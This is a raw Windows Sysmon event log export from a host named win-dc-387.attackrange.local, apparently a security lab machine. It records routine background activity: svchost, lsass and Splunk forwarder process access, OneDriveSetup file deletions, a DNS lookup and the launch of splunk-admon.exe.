14:44:18.789{7BD73061-65B2-613B-1400-00000000F001}3402296C:\Windows\system32\svchost.exe{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exe0x100040C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\cryptsvc.dll+63c9|c:\windows\system32\cryptsvc.dll+62d1|c:\windows\system32\cryptsvc.dll+5e56|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 22542200x800000000000000042821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.347{7BD73061-65B2-613B-1600-00000000F001}1296oneclient.sfx.ms0type: 5 oneclient.sfx.ms.edgekey.net;type: 5 e9659.dspg.akamaiedge.net;::ffff:2.18.234.129;C:\Windows\System32\svchost.exe 23542300x800000000000000042820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.617{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A7F4588BEE0A996B188AB1CDD82347D4,SHA256=FCF1001C5C76AC1AD0D1AB18C9D9EF9415BD14FABD01265D7F400EB771C6CCA6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.602{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EC221EC6FA10B554F07C2BD6349A5AC9,SHA256=1444D475695FB16F59600CC3DB10AA9FD180A5912BCF86AA499BDF002C3A8720,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.570{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=12065D1D04D918E50E0ACA14044026D2,SHA256=C4F1E99EDB68D35E57775B986093C91018710C75BEABF845F5FFF7BF0C38893A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.570{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F42-613B-0309-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.570{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.570{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.570{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.570{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.570{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F42-613B-0309-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.570{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F42-613B-0309-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000042810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.430{7BD73061-6F42-613B-0309-00000000F001}7144C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000042809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.555{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F42-613B-0409-00000000F001}3428C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.523{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F42-613B-0409-00000000F001}3428C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.523{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F42-613B-0409-00000000F001}3428C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000042806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.320{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\ADMINI~1\AppData\Local\Temp\tmp6F6F.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.320{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\userTelemetryCache.otc.session-journalMD5=A5F13AB6B1E6BDCBE2D3E6F2F371038B,SHA256=D36D6C3759C18B93D9D76671DA2ECA9464AF37A27F60F1DA865DCDE6AD7C0073,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.305{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\userTelemetryCache.otc.session-journalMD5=0E4124168D1E61F4B8C7605B263CF035,SHA256=2191E5B308DB9B4CE5B72599F6955F728235A555F0633C0D0B86269E0CBD83EC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.289{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\userTelemetryCache.otc.session-journalMD5=1AD77E315D1DE24CE830BCA313D496EE,SHA256=4817F801ED3487EE308116332DD338019274350AE178FA5D52E24739025F5FA3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.289{7BD73061-6F41-613B-0109-00000000F001}6672ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\ADMINI~1\AppData\Local\Temp\tmp6F50.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.273{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\userTelemetryCache.otc.session-journalMD5=CF14A7359B4A84C2E33674D859E1EFE9,SHA256=A33DEF4010A022D100A570F4BFEC18DAAC100E6A400E3156D80C2D47C6839D20,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.273{7BD73061-6F41-613B-0109-00000000F001}6672ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\machineTelemetryCache.otc.session-journalMD5=45593253E8975F4EA3A68CECFF014408,SHA256=84027E63AE2F5FEEA9894F379423AC5064B114E6230AEA693A7AD17E49F2134B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.258{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\userTelemetryCache.otc.session-journalMD5=F7176BB722350E12278E51BFC74466F5,SHA256=B3CEADECCABDD304100EF275D959DA8FD5BC3AA18D105262E56B9AC4076B2FE9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.258{7BD73061-6F41-613B-0109-00000000F001}6672ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\machineTelemetryCache.otc.session-journalMD5=2D3D6CD20803F7DE0994B6E3A93F99CD,SHA256=22C0CE0EBFF9DABED9A69D63DDD1DC62C98C51EF96D0F63097CF53C556A76AEF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.258{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\userTelemetryCache.otc.session-journalMD5=55C79BC055E7FE71DC6E39E9161D37B6,SHA256=F1454026B0BF485A59B6E3DB18D54920F00747D8CE95AC1CC0EEBFA4C3F3945F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.242{7BD73061-6F41-613B-0109-00000000F001}6672ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\machineTelemetryCache.otc.session-journalMD5=83291A484D14D7F0EE147C0B7568CA0D,SHA256=9F889DFE526339A113C5F1C20ACFEBC571C642289CFF04040A7E9C16ABCBA3EC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.242{7BD73061-6F41-613B-0109-00000000F001}6672ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\machineTelemetryCache.otc.session-journalMD5=3A18B27B73C54E17286970D5B00C8D4F,SHA256=A6D7D6ED630A58B3A35CEFE2AFD45B21C451448BE04A2DCE67B2A0E903A3F040,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.227{7BD73061-6F41-613B-0109-00000000F001}6672ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\machineTelemetryCache.otc.session-journalMD5=80844260472D7EB0F2DA01668267F9CC,SHA256=8C9A39EF924C374F95114770475E63D1AD13D99A1780A6603BF4D646C3353C35,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.211{7BD73061-6F41-613B-0109-00000000F001}6672ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\machineTelemetryCache.otc.session-journalMD5=EE89689C86602EB7F798DA72C5F45127,SHA256=539D7EA5142E05988D46B8E6AF8BF40948093A4526AC809507CDF4773BFCDF2C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.102{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.102{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.086{7BD73061-65B0-613B-0B00-00000000F001}6205912C:\Windows\system32\lsass.exe{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.086{7BD73061-65B0-613B-0B00-00000000F001}6205912C:\Windows\system32\lsass.exe{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.070{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.023{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 